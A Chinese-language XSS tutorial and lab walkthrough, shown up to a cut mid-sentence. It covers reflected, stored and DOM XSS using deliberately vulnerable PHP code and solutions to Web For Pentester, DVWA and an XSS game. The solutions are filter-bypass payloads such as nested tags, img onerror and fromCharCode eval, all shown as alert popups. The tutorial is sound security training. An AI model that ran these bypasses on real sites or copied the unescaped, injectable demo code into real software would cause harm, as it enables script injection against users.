XSS 触发简单,完全防御起来相当困难
XSS 跨站脚本实例
下面的 HTML 代码就演示了一个最基本的 XSS 弹窗:
< html>
< head> XSS</ head>
< body>
< script> alert ( "XSS" ) </ script>
</ body>
</ html>
直接在 HTML 页面通过 <script>
标签来执行了 JavaScript 内置的 alert()
函数,达到弹出消息框弹窗的效果:
XSS 攻击就是将非法的 JavaScript 代码注入到用户浏览的网页上执行,而 Web 浏览器本身的设计是不安全的,它只负责解释和执行 JavaScript 等脚本语言,而不会判断代码本身是否对用户有害。
XSS 的危害
诚然,XSS 可能不如 SQL 注射、文件上传等能够直接得到较高操作权限的漏洞,但是它的运用十分灵活(这使它成为最深受黑客喜爱的攻击技术之一),只要开拓思维,适当结合其他技术一起运用,XSS 的威力还是很大的。可能会给网站和用户带来的危害简单概括如下:
网络钓鱼
盗取用户 cookies 信息
劫持用户浏览器
强制弹出广告页面、刷流量
网页挂马
进行恶意操作,例如任意篡改页面信息
获取客户端隐私信息
控制受害者机器向其他网站发起攻击
结合其他漏洞,如 CSRF 漏洞,实施进一步作恶
提升用户权限,包括进一步渗透网站
传播跨站脚本蠕虫等
下图是著名漏洞公告平台乌云关于 XSS 漏洞的报告:
XSS 分类
反射型 XSS(非持久型)
反射型跨站脚本(Reflected Cross-site Scripting)也称作非持久型、参数型跨站脚本。反射型 XSS 只是简单地把用户输入的数据 “反射” 给浏览器。也就是说,黑客往往需要诱使用户 “点击” 一个恶意链接,才能攻击成功。
假设一个页面把用户输入的参数直接输出到页面上:
<?php
$input = $_GET [ 'param' ] ;
echo "<h1>" . $input . "</h1>" ;
?>
用户向 param
提交的数据会展示到 <h1>
的标签中展示出来,比如提交:
http://127.0.0.1/test.php?param=Hello XSS
会得到如下结果:
此时查看页面源代码,可以看到:
< h1> Hello XSS</ h1>
此时如果提交一个 JavaScript 代码:
http://127.0.0.1/test.php?param=<script>alert(233)</script>
会发现,alert(233)
在当前页面执行了:
再查看源代码:
< h1> < script> alert ( 233 ) </ script> </ h1>
用户输入的 Script 脚本,已经被写入页面中,这个就是一个最经典的反射型 XSS,它的特点是只在用户浏览时触发,而且只执行一次,非持久化,所以称为反射型 XSS。反射型 XSS 的危害往往不如持久型 XSS,因为恶意代码暴露在 URL 参数中,并且时刻要求目标用户浏览方可触发,稍微有点安全意识的用户可以轻易看穿该链接是不可信任的。如此一来,反射型 XSS 的攻击成本要比持久型 XSS 高得多,不过随着技术的发展,我们可以将包含漏洞的链接通过短网址缩短 或者转换为二维码 等形式灵活运用。
存储 XSS (持久型)
存储型 XSS 和反射型 XSS 的差别仅在于:提交的 XSS 代码会存储在服务端(不管是数据库、内存还是文件系统等),下次请求目标页面时不用再提交 XSS 代码。最典型的例子是留言板 XSS。
为了复现存储型 XSS,这里我们得用到数据库,本地新建一个名字叫做 xss
的数据库,里面新建一个 message
表,用来存放用户的留言信息,字段名分别是 id
、username
、message
id
设为主键,并勾选自动递增 ,也可以参考下面的 sql
语句来设计表:
SET NAMES utf8mb4;
SET FOREIGN_KEY_CHECKS = 0
DROP TABLE IF EXISTS ` message` ;
CREATE TABLE ` message` (
` id` int ( 11 ) NOT NULL AUTO_INCREMENT ,
` username` varchar ( 255 ) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL ,
` message` varchar ( 255 ) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL ,
PRIMARY KEY ( ` id` ) USING BTREE
) ENGINE = MyISAM AUTO_INCREMENT = 17 CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Dynamic;
SET FOREIGN_KEY_CHECKS = 1 ;
目前数据库方面设计完了,开始着手写 PHP
后端页面,来复现一下存储型 XSS 漏洞:
< meta charset = " utf-8" >
<?php
$host = "localhost" ;
$port = "3306" ;
$user = "root" ;
$pwd = "root" ;
$dbname = "xss" ;
$conn = new mysqli ( $host , $user , $pwd , $dbname , $port ) ;
?>
< h1> 留言板的存储型XSS</ h1>
< form method = " post" >
< input type = " text" name = " username" placeholder = " 姓名" >
< input type = " text" name = " message" placeholder = " 请输入您的留言" >
< input type = " submit" >
</ form>
<?php
$username = $_POST [ 'username' ] ;
$message = $_POST [ 'message' ] ;
if ( $username and $message )
{
$sql = "INSERT INTO `message`(`username`, `message`) VALUES ('{ $username } ','{ $message } ')" ;
if ( $conn -> query ( $sql ) === TRUE ) {
echo "留言成功" . "<br>" ;
} else {
echo "Error: " . $sql . "<br>" . $conn -> error ;
}
} else {
echo "请填写完整信息" . "<br>" ;
}
$sql = "SELECT username, message FROM message" ;
$result = $conn -> query ( $sql ) ;
if ( $result -> num_rows > 0 ) {
while ( $row = $result -> fetch_assoc ( ) ) {
echo "用户名:" . $row [ "username" ] . "留言内容:" . $row [ "message" ] . "<br>" ;
}
} else {
echo "暂无留言" ;
}
?>
将以上代码保存为 php
文件,配置好数据库连接信息,通过 http 服务去访问,可以得到如下界面:
可以从代码看出,逻辑很简单,用户前端留言,就可以看到自己的留言信息了,代码中没有任何过滤,直接将用户的输入的语句插入到了 html
网页中,这样就很容易导致存储型 XSS
漏洞的产生。
当攻击者直接在留言板块插入 alert('鸡你太美')
,会导致这条恶意的语句直接插入到了数据库中,然后通过网页解析,成功触发了 JS 语句,导致用户浏览这个网页就会一直弹窗,除非从数据库中删除这条语句:
此时查看下网页源码:
< b> 用户名:</ b> 蔡徐坤 < b> 留言内容:</ b> < script> alert ( '鸡你太美' ) </ script> < br>
存储型 XSS 的攻击是最隐蔽的也是危害比较大的,普通用户所看的 URL 为 http://127.0.0.1/test.php
,从 URL 上看均是正常的,但是当目标用户查看留言板时,那些留言的内容会从数据库查询出来并显示,浏览器发现有 XSS 代码,就当做正常的 HTML 与 JS 解析执行,于是就触发了 XSS 攻击。
DOM XSS
通过修改页面的 DOM 节点形成的 XSS,称之为 DOM XSS。它和反射型 XSS、存储型 XSS 的差别在于,DOM XSS 的 XSS 代码并不需要服务器解析响应的直接参与,触发 XSS 靠的就是浏览器端的 DOM 解析,可以认为完全是客户端的事情。
下面编写一个简单的含有 DOM XSS 漏洞的 HTML 代码:
< meta charset = " UTF-8" >
< script>
function xss ( ) {
var str = document. getElementById ( "src" ) . value;
document. getElementById ( "demo" ) . innerHTML = "<img src='" + str+ "' />" ;
}
</ script>
< input type = " text" id = " src" size = " 50" placeholder = " 输入图片地址" />
< input type = " button" value = " 插入" onclick = " xss ( ) " /> < br>
< div id = " demo" > </ div>
功能很简单,用户输入框插入图片地址后,页面会将图片插入在 id="demo"
的 div 标签中,从而显示在网页上:
同样,这里也没有对用户的输入进入过滤,当攻击者构造如下语句插入的时候:
' onerror= alert ( 233 )
会直接在 img
标签中插入 onerror
事件,该语句表示当图片加载出错的时候,自动触发后面的 alert () 函数,来达到弹窗的效果,这就是一个最简单的 DOM 型 XSS 漏洞。
XSS 靶场
本节主要是搭建一些靶场,因为大家都是搞信息安全的,所以靶场搭建的话我这里就不重复造轮子,通过搜索引擎可以找到很多图文并茂的教程,所以本节里面只做概括的作用。
Web For Pentester
官网 :https://pentesterlab.com/
下载地址 :https://isos.pentesterlab.com/web_for_pentester_i386.iso
安装方法 :通过虚拟机挂载 iso 运行,该靶场环境是封装在 debian
系统里面的,运行在时候直接以 Live
方式运行,然后查看下 IP 地址:
然后物理机浏览器直接访问:
http://192.168.108.131/
这样一个 Web For Pentester
就搭建好了,默认是没有 root
密码的,可以自己设置一个 root
密码:
sudo passwd
第 1 关 无任何过滤
源码
<?php
echo $_GET [ "name" ] ;
?>
name 变量直接通过 GET 方式传进去,然后通过 echo 输出。
payload
example1.php?name= < script> alert( 'XSS' ) < / script>
第 2 关 大小写绕过
源码
<?php
$name = $_GET [ "name" ] ;
$name = preg_replace ( "/<script>/" , "" , $name ) ;
$name = preg_replace ( "/</script>/" , "" , $name ) ;
echo $name ;
?>
使用了 preg_replace 函数来过滤 <script>
和 </script>
标签,这里由于正则缺陷,没有考虑到大小写的情况,所以这里可以用大小写转换绕过。
payload
example2.php?name=<Script>alert('XSS')</scripT>
第 3 关 嵌套绕过
源码
<?php
$name = $_GET [ "name" ] ;
$name = preg_replace ( "/<script>/i" , "" , $name ) ;
$name = preg_replace ( "/</script>/i" , "" , $name ) ;
echo $name ;
?>
这里在第 2 关的基础上面,正则规则上面使用了 /i
,表示不区分大小写,利用这个特点可以构造一个嵌套的标签:
<scr<script>ipt>
被检测到 <script>
后,替换为了空(即删掉)就变成了一个完整的标签:
<script>
payload
example3.php?name=<sc<script>ript>alert('XSS')</</script>script>
第 4 关 其他标签绕过
源码
<?php require_once '../header.php' ;
if ( preg_match ( '/script/i' , $_GET [ "name" ] ) ) {
die ( "error" ) ;
}
?>
Hello <?php echo $_GET [ "name" ] ; ?>
对 script 关键词进行了不区分大小写地过滤,匹配到就直接调用 die("error")
终止程序运行,因此上述的方法就不再适用,但是还可以通过其他许多标签来触发 JS 事件。
payload
example4.php?name=<img src=x onerror=alert('XSS')>
第 5 关 编码或者其他方法绕过
源码
<?php require_once '../header.php' ;
if ( preg_match ( '/alert/i' , $_GET [ "name" ] ) ) {
die ( "error" ) ;
}
?>
Hello <?php echo $_GET [ "name" ] ; ?>
对 alert 关键词进行了不区分大小写地过滤,可以使用其他类似 alert 的方法来弹窗
payload1
example5.php?name=<script>confirm('XSS')</script>
example5.php?name=<script>prompt('XSS')</script>
也可以通过 String.fromCharCode()
编码来绕过,使用 Hackbar 可以很方便地进行编码
alert('XSS')
经过 String.fromCharCode () 编码为:
String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 88, 83, 83, 39, 41)
payload2
example5.php?name=<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 88, 83, 83, 39, 41))</script>
第 6 关 闭合双引号
源码
< script>
var $a= "<?php echo $_GET [ "name" ] ; ?> " ;
</ script>
通过 GET 方式传入的 name 变量,直接输出在了 script
标签里面,可以尝试闭合前面的双引号 "
,然后直接调用 alert
方法来弹窗,末尾再使用双引号 "
闭合后面的双引号。
payload1
example6.php?name=";alert('XSS');"
也可以尝试通过 //
直接注释掉后面的双引号 "
,这样就不用考虑闭合了:
payload2
example6.php?name=";alert('XSS');//
第 7 关 闭合单引号
源码
< script>
var $a= '<?php echo htmlentities ( $_GET [ "name" ] ) ; ?> ' ;
</ script>
和上一题类似,只是这里的最后是通过 htmlentities()
函数把字符转换为 HTML 实体,然后再输出单引号修饰的 a 变量中。htmlentities()
会将双引号 "
特殊编码,但是却它不编码单引号'
,恰巧这里是通过单引号'
给 a 变量赋值的,所以依然可以通过闭合单引号'
来弹窗。
payload
example7. php? name= ';alert(' XSS ');'
example7. php? name= ';alert(' XSS ') ;
第 8 关 PHP_SELF
源码
<?php
require_once '../header.php' ;
if ( isset ( $_POST [ "name" ] ) ) {
echo "HELLO " . htmlentities ( $_POST [ "name" ] ) ;
}
?>
< form action = " <?php echo $_SERVER [ 'PHP_SELF' ] ; ?> " method = " POST" >
Your name:< input type = " text" name = " name" />
< input type = " submit" name = " submit" />
name 变量通过 form 表单以 POST 方式传入,然后通过 htmlentities
函数是实体化后输出来,这次通过 POST 方式传入的 name 变量是比较安全的,暂时无法突破。重点分析这里:
< form action = " <?php echo $_SERVER [ 'PHP_SELF' ] ; ?> " method = " POST" >
用户依然可以控制参数 PHP_SELF ,并且这里没有过滤直接输入到了 form
标签中,所以这里通过闭合依然可以 XSS。
闭合引号和标签,通过 <script>
标签来弹窗:
payload1
example8. php/ "> < script> alert ( 'XSS' ) < / script>
也可以通过闭合引号,通过事件来触发弹窗:
payload2
example8. php/ " onclick= alert ( 'XSS' )
第 9 关 location.hash
源码
< script>
document. write ( location. hash. substring ( 1 ) ) ;
< / script>
直接通过 location.hash
传入参数,然后往网页中写入,这样很不安全,可以直接通过这个属性,往网页中写入 JS 代码。要了解这个 location.hash
属性,可以参考 W3C 的这篇资料:HTML DOM hash 属性
payload
example9.php#<script>alert('XSS')</script>
执行完成后,手动刷新下浏览器,经测试在 Chrome 和 FireFox 浏览器上的尖括号会被自动转码,在 IE
内核的浏览器上可以正常运行
DVWA
官网 :http://www.dvwa.co.uk/
下载地址 :https://github.com/ethicalhack3r/DVWA/archive/master.zip
安装方法 :将 /config/config.inc.php.dist
文件重命名为 /config/config.inc.php
,本地新建一个名字叫做 dvwa
的数据库,根据本地实际环境的信息,修改配置文件信息如下:(填写 key 这里是可选的操作):
$_DVWA [ 'db_server' ] = '127.0.0.1' ;
$_DVWA [ 'db_database' ] = 'dvwa' ;
$_DVWA [ 'db_user' ] = 'root' ;
$_DVWA [ 'db_password' ] = 'root' ;
$_DVWA [ 'recaptcha_public_key' ] = '6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg' ;
$_DVWA [ 'recaptcha_private_key' ] = '6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ' ;
我本地使用的是 PHPStudy
搭建的环境,找到 PHP扩展及设置
- 参数开关设置
,勾选
allow_url_fopen
allow_url_include
浏览器访问 DVWA
的目录来进行安装:
http://127.0.0.1/DVWA/setup.php
点击 Create / Reset Databas
创建数据库,接着跳转到登录界面。
默认的账户名为:admin ,密码为:password
安装成功的界面如上,可以在左侧的菜单栏中发现有发射 XSS、存储 XSS 和 DOM XSS 的一些练习题。
反射 XSS LOW
源码
<?php
header ( "X-XSS-Protection: 0" ) ;
if ( array_key_exists ( "name" , $_GET ) && $_GET [ 'name' ] != NULL ) {
$html .= '<pre>Hello ' . $_GET [ 'name' ] . '</pre>' ;
}
?>
可以看看到对 name
变量没有任何的过滤措施,只是单纯的检测了 name
变量存在并且不为空就直接输出到了网页中。
payload
<script>alert('XSS')</script>
反射 XSS Medium
源码
<?php
header ( "X-XSS-Protection: 0" ) ;
if ( array_key_exists ( "name" , $_GET ) && $_GET [ 'name' ] != NULL ) {
$name = str_replace ( '<script>' , '' , $_GET [ 'name' ] ) ;
$html .= "<pre>Hello ${name}</pre>" ;
}
?>
只是简单的过滤了 <script>
标签,可以使用其他的标签绕过,这里因为正则匹配的规则问题,检测到敏感字符就将替换为空(即删除),也可以使用嵌套构造和大小写转换来绕过。
使用其他的标签,通过事件来弹窗,这里有很多就不一一列举了:
payload1
< img src= x onerror= alert ( 'XSS' ) >
因为过滤规则的缺陷,这里可以使用嵌套构造来绕过:
payload2
< s< script> cript> alert ( 'XSS' ) < / script>
因为正则匹配没有不区分大小写,所以这里通过大小写转换也是可以成功绕过的:
payload3
< Script> alert ( 'XSS' ) < / script>
反射 XSS high
源码
<?php
header ( "X-XSS-Protection: 0" ) ;
if ( array_key_exists ( "name" , $_GET ) && $_GET [ 'name' ] != NULL ) {
$name = preg_replace ( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i' , '' , $_GET [ 'name' ] ) ;
$html .= "<pre>Hello ${name}</pre>" ;
}
?>
这里的正则过滤更加完善了些,不区分大小写,并且使用了通配符去匹配,导致嵌套构造的方法也不能成功,但是还有其他很多标签来达到弹窗的效果:
payload
< img src= x onerror= alert ( 'XSS' ) >
反射 XSS Impossible
源码
<?php
if ( array_key_exists ( "name" , $_GET ) && $_GET [ 'name' ] != NULL ) {
checkToken ( $_REQUEST [ 'user_token' ] , $_SESSION [ 'session_token' ] , 'index.php' ) ;
$name = htmlspecialchars ( $_GET [ 'name' ] ) ;
$html .= "<pre>Hello ${name}</pre>" ;
}
generateSessionToken ( ) ;
?>
name
变量通过 htmlspecialchars()
函数被 HTML 实体化后输出在了 <pre>
标签中,目前来说没有什么的姿势可以绕过,如果这个输出在一些标签内的话,还是可以尝试绕过的。
DOM XSS LOW
源码
< div class = " vulnerable_code_area" >
< p> Please choose a language:</ p>
< form name = " XSS" method = " GET" >
< select name = " default" >
< script>
if ( document. location. href. indexOf ( "default=" ) >= 0 ) {
var lang = document. location. href. substring ( document. location. href. indexOf ( "default=" ) + 8 ) ;
document. write ( "<option value='" + lang + "'>" + $decodeURI ( lang) + "</option>" ) ;
document. write ( "<option value='' disabled='disabled'>----</option>" ) ;
}
document. write ( "<option value='English'>English</option>" ) ;
document. write ( "<option value='French'>French</option>" ) ;
document. write ( "<option value='Spanish'>Spanish</option>" ) ;
document. write ( "<option value='German'>German</option>" ) ;
</ script>
</ select>
< input type = " submit" value = " Select" />
</ form>
</ div>
DOM XSS 是通过修改页面的 DOM 节点形成的 XSS。首先通过选择语言后然后往页面中创建了新的 DOM 节点:
document.write("< option value = ' " + lang + " ' > " + $decodeURI(lang) + "</ option> ");
document.write("< option value = ' ' disabled = ' disabled' > ----</ option> ");
这里的 lang
变量通过 document.location.href
来获取到,并且没有任何过滤就直接 URL 解码后输出在了 option
标签中,以下 payload 在 Firefox Developer Edition 56.0b9
版本的浏览器测试成功
payload
? default = English < script> alert ( 'XSS' ) < / script>
DOM XSS Medium
源码
<?php
if ( array_key_exists ( "default" , $_GET ) && ! is_null ( $_GET [ 'default' ] ) ) {
$default = $_GET [ 'default' ] ;
if ( stripos ( $default , "<script" ) !== false ) {
header ( "location: ?default=English" ) ;
exit ;
}
}
?>
对 default
变量进行了过滤,通过 stripos()
函数查找 <script
字符串在 default
变量值中第一次出现的位置(不区分大小写),如果匹配搭配的话手动通过 location
将 URL 后面的参数修正为 ?default=English
,同样这里可以通过其他的标签搭配事件来达到弹窗的效果。
闭合 </option>
和 </select>
,然后使用 img
标签通过事件来弹窗
payload1
? default = English< / option> < / select> < img src= x onerror= alert ( 'XSS' ) >
直接利用 input
的事件来弹窗
payload2
?default=English<input onclick=alert('XSS') />
DOM XSS high
源码
<?php
if ( array_key_exists ( "default" , $_GET ) && ! is_null ( $_GET [ 'default' ] ) ) {
switch ( $_GET [ 'default' ] ) {
case "French" :
case "English" :
case "German" :
case "Spanish" :
break ;
default :
header ( "location: ?default=English" ) ;
exit ;
}
}
?>
使用了白名单模式,如果 default
的值不为 French、English、German、Spanish 的话就重置 URL 为:?default=English
,这里只是对 default 的变量进行了过滤。
可以使用 &
连接另一个自定义变量来 Bypass
payload1
? default = English& a= < / option> < / select> < img src= x onerror= alert ( 'XSS' ) >
? default = English& a= < input onclick= alert ( 'XSS' ) / >
也可以使用#
来 Bypass
payload2
? default = English#< / option> < / select> < img src= x onerror= alert ( 'XSS' ) >
? default = English#< input onclick= alert ( 'XSS' ) / >
DOM XSS Impossible
源码
$decodeURI = "decodeURI" ;
if ( $vulnerabilityFile == 'impossible.php' ) {
$decodeURI = "" ;
}
Impossible
级别直接不对我们的输入参数进行 URL 解码了,这样会导致标签失效,从而无法 XSS
存储 XSS LOW
源码
<?php
if ( isset ( $_POST [ 'btnSign' ] ) ) {
$message = trim ( $_POST [ 'mtxMessage' ] ) ;
$name = trim ( $_POST [ 'txtName' ] ) ;
$message = stripslashes ( $message ) ;
$message = ( ( isset ( $GLOBALS [ "___mysqli_ston" ] ) && is_object ( $GLOBALS [ "___mysqli_ston" ] ) ) ? mysqli_real_escape_string ( $GLOBALS [ "___mysqli_ston" ] , $message ) : ( ( trigger_error ( "[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR ) ) ? "" : "" ) ) ;
$name = ( ( isset ( $GLOBALS [ "___mysqli_ston" ] ) && is_object ( $GLOBALS [ "___mysqli_ston" ] ) ) ? mysqli_real_escape_string ( $GLOBALS [ "___mysqli_ston" ] , $name ) : ( ( trigger_error ( "[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR ) ) ? "" : "" ) ) ;
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message ', '$name ' );" ;
$result = mysqli_query ( $GLOBALS [ "___mysqli_ston" ] , $query ) or die ( '<pre>' . ( ( is_object ( $GLOBALS [ "___mysqli_ston" ] ) ) ? mysqli_error ( $GLOBALS [ "___mysqli_ston" ] ) : ( ( $___mysqli_res = mysqli_connect_error ( ) ) ? $___mysqli_res : false ) ) . '</pre>' ) ;
}
?>
payload
Name : sqlsec
Message : < script> alert ( 'XSS' ) < / script>
可以看到我们的 payload 直接插入到了数据库中了:
测试完成的话为了不影响下面题目的测试,这里建议手动从数据库中删除下这条记录。
补充
trim
语法
trim ( string , charlist)
细节
移除 string 字符两侧的预定义字符。
参数
描述
string
必需。规定要检查的字符串。
charlist
可选。规定从字符串中删除哪些字符
charlist
如果被省略,则移除以下所有字符:
符合
解释
�
NULL
t
制表符
n
换行
x0B
垂直制表符
r
回车
空格
stripslashes
语法
stripslashes ( string )
细节
去除掉 string 字符的反斜杠
,该函数可用于清理从数据库中或者从 HTML 表单中取回的数据。
语法
mysql_real_escape_string ( string , connection)
细节
转义 SQL 语句中使用的字符串中的特殊字符。
参数
描述
string
必需。规定要转义的字符串。
connection
可选。规定 MySQL 连接。如果未规定,则使用上一个连接。
下列字符受影响:
以上这些函数都只是对数据库进行了防护,却没有考虑到对 XSS 进行过滤,所以依然可以正常的来 XSS
存储 XSS Medium
源码
<?php
if ( isset ( $_POST [ 'btnSign' ] ) ) {
$message = trim ( $_POST [ 'mtxMessage' ] ) ;
$name = trim ( $_POST [ 'txtName' ] ) ;
$message = strip_tags ( addslashes ( $message ) ) ;
$message = ( ( isset ( $GLOBALS [ "___mysqli_ston" ] ) && is_object ( $GLOBALS [ "___mysqli_ston" ] ) ) ? mysqli_real_escape_string ( $GLOBALS [ "___mysqli_ston" ] , $message ) : ( ( trigger_error ( "[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR ) ) ? "" : "" ) ) ;
$message = htmlspecialchars ( $message ) ;
$name = str_replace ( '<script>' , '' , $name ) ;
$name = ( ( isset ( $GLOBALS [ "___mysqli_ston" ] ) && is_object ( $GLOBALS [ "___mysqli_ston" ] ) ) ? mysqli_real_escape_string ( $GLOBALS [ "___mysqli_ston" ] , $name ) : ( ( trigger_error ( "[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR ) ) ? "" : "" ) ) ;
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message ', '$name ' );" ;
$result = mysqli_query ( $GLOBALS [ "___mysqli_ston" ] , $query ) or die ( '<pre>' . ( ( is_object ( $GLOBALS [ "___mysqli_ston" ] ) ) ? mysqli_error ( $GLOBALS [ "___mysqli_ston" ] ) : ( ( $___mysqli_res = mysqli_connect_error ( ) ) ? $___mysqli_res : false ) ) . '</pre>' ) ;
}
?>
payload1
Name : < img src= x onerror= alert ( 'XSS' ) >
Message : www. sqlsec. com
可以看到我们的 payload 直接插入到了数据库中了:
因为 name
过滤规则的缺陷,同样使用嵌套构造 和大小写转换 也是可以 Bypass 的:
paylaod2
Name : < Script> alert ( 'XSS' ) < / script>
Message : www. sqlsec. com
Name : < s< script> cript> alert ( 'XSS' ) < / script>
Message : www. sqlsec. com
测试完成的话为了不影响下面题目的测试,这里建议手动从数据库中删除下这些记录。
补充
addslashes
语法
addslashes ( string )
细节
返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
语法
strip_tags ( string , allow)
细节
剥去字符串中的 HTML、XML 以及 PHP 的标签。
参数
描述
string
必需。规定要检查的字符串。
allow
可选。规定允许的标签。这些标签不会被删除。
htmlspecialchars
语法
htmlspecialchars ( string , flags, character- set, double_encode)
细节
把预定义的字符转换为 HTML 实体。
预定义的字符是:
& (和号)成为 &
“(双引号)成为 "
‘ (单引号)成为 '
< (小于)成为 <
> (大于)成为 >
message
变量几乎把所有的 XSS 都给过滤了,但是 name
变量只是过滤了 <script>
标签而已,我们依然可以在 name
参数尝试使用其他的标签配合事件来触发弹窗。
name
的 input 输入文本框限制了长度:
< input name = " txtName" size = " 30" maxlength = " 10" type = " text" >
审查元素手动将 maxlength
的值调大一点就可以了。
< input name = " txtName" size = " 50" maxlength = " 50" type = " text" >
存储 XSS high
源码
<?php
if ( isset ( $_POST [ 'btnSign' ] ) ) {
$message = trim ( $_POST [ 'mtxMessage' ] ) ;
$name = trim ( $_POST [ 'txtName' ] ) ;
$message = strip_tags ( addslashes ( $message ) ) ;
$message = ( ( isset ( $GLOBALS [ "___mysqli_ston" ] ) && is_object ( $GLOBALS [ "___mysqli_ston" ] ) ) ? mysqli_real_escape_string ( $GLOBALS [ "___mysqli_ston" ] , $message ) : ( ( trigger_error ( "[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR ) ) ? "" : "" ) ) ;
$message = htmlspecialchars ( $message ) ;
$name = preg_replace ( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i' , '' , $name ) ;
$name = ( ( isset ( $GLOBALS [ "___mysqli_ston" ] ) && is_object ( $GLOBALS [ "___mysqli_ston" ] ) ) ? mysqli_real_escape_string ( $GLOBALS [ "___mysqli_ston" ] , $name ) : ( ( trigger_error ( "[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR ) ) ? "" : "" ) ) ;
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message ', '$name ' );" ;
$result = mysqli_query ( $GLOBALS [ "___mysqli_ston" ] , $query ) or die ( '<pre>' . ( ( is_object ( $GLOBALS [ "___mysqli_ston" ] ) ) ? mysqli_error ( $GLOBALS [ "___mysqli_ston" ] ) : ( ( $___mysqli_res = mysqli_connect_error ( ) ) ? $___mysqli_res : false ) ) . '</pre>' ) ;
}
?>
message
变量依然是没有什么希望,重点分析下 name
变量,发现仅仅使用了如下规则来过滤,所以依然可以使用其他的标签来 Bypass:
$name = preg_replace ( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i' , '' , $name ) ;
payload
Name : < img src= x onerror= alert ( 'XSS' ) >
Message : www. sqlsec. com
存储 XSS Impossible
源码
<?php
if ( isset ( $_POST [ 'btnSign' ] ) ) {
checkToken ( $_REQUEST [ 'user_token' ] , $_SESSION [ 'session_token' ] , 'index.php' ) ;
$message = trim ( $_POST [ 'mtxMessage' ] ) ;
$name = trim ( $_POST [ 'txtName' ] ) ;
$message = stripslashes ( $message ) ;
$message = ( ( isset ( $GLOBALS [ "___mysqli_ston" ] ) && is_object ( $GLOBALS [ "___mysqli_ston" ] ) ) ? mysqli_real_escape_string ( $GLOBALS [ "___mysqli_ston" ] , $message ) : ( ( trigger_error ( "[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR ) ) ? "" : "" ) ) ;
$message = htmlspecialchars ( $message ) ;
$name = stripslashes ( $name ) ;
$name = ( ( isset ( $GLOBALS [ "___mysqli_ston" ] ) && is_object ( $GLOBALS [ "___mysqli_ston" ] ) ) ? mysqli_real_escape_string ( $GLOBALS [ "___mysqli_ston" ] , $name ) : ( ( trigger_error ( "[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR ) ) ? "" : "" ) ) ;
$name = htmlspecialchars ( $name ) ;
$data = $db -> prepare ( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' ) ;
$data -> bindParam ( ':message' , $message , PDO :: PARAM_STR ) ;
$data -> bindParam ( ':name' , $name , PDO :: PARAM_STR ) ;
$data -> execute ( ) ;
}
generateSessionToken ( ) ;
?>
message
和 name
变量都进行了严格的过滤,而且还检测了用户的 token:
checkToken ( $_REQUEST [ 'user_token' ] , $_SESSION [ 'session_token' ] , 'index.php' ) ;
有效地防止了 CSRF 的攻击
XSS 小游戏
这个和 http://test.xss.tv 题目是一样的,忘记从哪里搞到源码的了,看了源码发现最后几道 Flash XSS 失效了,于是删了最后几道 Flash XSS 题目,然后把本地图片的引用都换了表情包,目前一共有 1-15 关。现在把这个源码放到了 Github 上面了:
项目地址 :https://github.com/sqlsec/xssgame
安装方法 :直接解压源码到 HTTP 服务的目录下,浏览器直接访问即可,无需配置数据库等信息
第 1 关 无任何过滤措施
源码
<?php
ini_set ( "display_errors" , 0 ) ;
$str = $_GET [ "name" ] ;
echo "<h2 align=center>欢迎用户:" . $str . "</h2>" ;
?>
name 变量通过 GET 方式传入,直接带入到 <h2>
标签中,没有任何过滤。
payload
/ level1.php?name= < script> alert( 'xss' ) < / script>
第 2 关 闭合双引号
源码
<?php
ini_set ( "display_errors" , 0 ) ;
$str = $_GET [ "keyword" ] ;
echo "<h2 align=center>没有找到和" . htmlspecialchars ( $str ) . "相关的结果.</h2>" . '<center>
<form action=level2.php method=GET>
<input name=keyword value="' . $str . '">
<input type=submit name=submit value="搜索"/>
</form>
</center>' ;
?>
keyword 变量通过 GET 方式传入,赋值给 $str
变量,然后带入到 <h2>
标签中和 <input>
标签。 标签经过了 htmlspecialchars($str)
编码,可以发现 input
标签没有任何过滤,所以尝试在 input
标签中闭合双引号 "
,来触发事件。
payload
" onclick= alert ( 'XSS' )
第 3 关 闭合单引号
源码
<?php
ini_set ( "display_errors" , 0 ) ;
$str = $_GET [ "keyword" ] ;
echo "<h2 align=center>没有找到和" . htmlspecialchars ( $str ) . "相关的结果.</h2>" . "<center>
<form action=level3.php method=GET>
<input name=keyword value='" . htmlspecialchars ( $str ) . "'>
<input type=submit name=submit value=搜索 />
</form>
</center>" ;
?>
keyword 变量通过 GET 方式传入,赋值给 $str
变量,然后带入到 <h2>
标签中和 inpt
标签。 因为 <h2>
标签经过了 htmlspecialchars($str)
编码,<input>
标签没有任何过滤,所以尝试在 input
标签中闭合单引号'
来触发事件。
payload
' onclick=alert(' XSS ')
第 4 关 闭合双引号
源码
<?php
ini_set ( "display_errors" , 0 ) ;
$str = $_GET [ "keyword" ] ;
$str2 = str_replace ( ">" , "" , $str ) ;
$str3 = str_replace ( "<" , "" , $str2 ) ;
echo "<h2 align=center>没有找到和" . htmlspecialchars ( $str ) . "相关的结果.</h2>" . '<center>
<form action=level4.php method=GET>
<input name=keyword value="' . $str3 . '">
<input type=submit name=submit value=搜索 />
</form>
</center>' ;
?>
在第 2 关的基础上,过滤了尖括号,但是直接在 input
